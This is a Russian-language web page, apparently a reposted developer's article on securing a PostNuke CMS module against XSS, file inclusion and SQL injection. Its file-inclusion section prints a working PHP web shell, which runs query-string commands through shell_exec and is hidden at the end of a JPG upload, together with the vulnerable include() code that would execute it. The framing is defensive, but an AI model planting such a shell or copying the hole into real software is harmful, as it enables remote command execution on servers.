 |
Реклама:
|  |
Внимание! Читая пророчества на этом сайте помните что достоверность трудно проверить и все может во времени изменяться - самое главное думать своей головой и не верить легкомысленно всему что говорят, особенно советское телевидение "О дне же том, или часе, никто не знает, ни Ангелы небесные, ни Сын, но только Отец (Мк. 13, 32)"
Безопасность при написании php программ http://bm.org.ru
| В конец jpg файла, называем его attack.jpg.php. Даже если расширение будет 'обрезано', всё равно остаётся возможность выполнения скрипта, если в скрипте использовано: include($file); а не readfile($file); | При написании модуля Friends для CMS PostNuke я столкнулся с такой проблемой, как проблема безопасности.
Причем хотелось сделать сразу так, чтобы закрыть практически все возможный уязвимости. Для себя я составил список возможных атак: XSS(Сross-Site-Scripting) - если человек дописывает в анкету свой html-код. Потом при просмотре его анкеты его же скрипту пересылаются все данные пользователя, что смотрит анкету. Такая уязвимость была решена сразу, преобразованием тегов стандартные символы.
Кроме того, были использованы встроенные API PostNuke, которые запрещают добавление java-script'а в запрос - pnAntiCracker + pnVarCleanFromInput. Таким образом, такая атака была исключена.
//Пример взятия переменных из входных данных list($bmid, $bmname, $bmemail, $bmcomment) = pnVarCleanFromInput('bmid','bmname','bmemail','bmcomment');
// Eof Примера
FileIncluding - возможность выполнения своего скрипта(php-скрипта, например) на сервере. Притом напрямую это сделать нельзя, можно было лишь закачать "подделанную" jpg/png/gif картинку, которая бы позволила выполнить свой код. Такая возможность исключена путем переименования картинки без расширения.
Пример: дописываем что-то вроде
-->
$command = rawurldecode(isset($QUERY_STRING) ? $QUERY_STRING : $_SERVER['QUERY_STRING']);
echo "
".$command."
";
echo "".shell_exec( $command )." ";
?>
В конец jpg файла, называем его attack.jpg.php. Даже если расширение будет 'обрезано', всё равно остаётся возможность выполнения скрипта, если в скрипте использовано:
include($file);
а не
readfile($file);
Допустим, если бы в файле модуля getphoto.php стояло:
f (!defined("LOADED_AS_MODULE")) {
die ("You can't access this file directly...");
}
$phptospath = pnModGetVar('Friends', 'photospath');
list($phid, $bmtype) = pnVarCleanFromInput('bmphid', 'bmtype');
if ( $bmtype == 'big'){
Header('Content-type: image/jpeg');
if (file_exists($phptospath . $phid) && $phid != 0)
include($phptospath . $phid);
else
include($phptospath.'0');
...
Это дало бы возможность закачать картинку и обратится к ней с командой, которую надо выполнить
на стороне сервера, посредством вот такого промежуточного скрипта.
Остальные уязвимости (например sql injection) для модуля не реализуемы, по причине опять же использования API функций
(pnVarPrepForStore)
//Пример из добавления анкеты
$sql = "INSERT INTO $pntable[bmfriends] (
$column[nick],
...
$column[already])
VALUES ('".pnVarPrepForStore($bmnick)."',
...
'0') ";
 |
|
• Отсылка письма с аттачем из php скрипта - это то что долго искали!!! • The Effective Use of Joins in Select Statements • SQL - Примеры запросов в MySQL (SELECT, CREATE, INSERT) (sql mysql select howto) • MySQL для пользователя • Подсчет строк • Конвертация DBF-базы в MySQL без SQL запроса • Оптимальное использование MySQL • связи таблиц в MySQL • Переменные в PHP • HTML Обмен информацией без перезагрузки страницы • Справочное руководство по MySQL, Как переустановить забытый пароль пользователя root
|
|
|
Внимание! Читая пророчества на этом сайте помните что достоверность трудно проверить и все может во времени изменяться "О дне же том, или часе, никто не знает, ни Ангелы небесные, ни Сын, но только Отец (Мк. 13, 32)"
|
|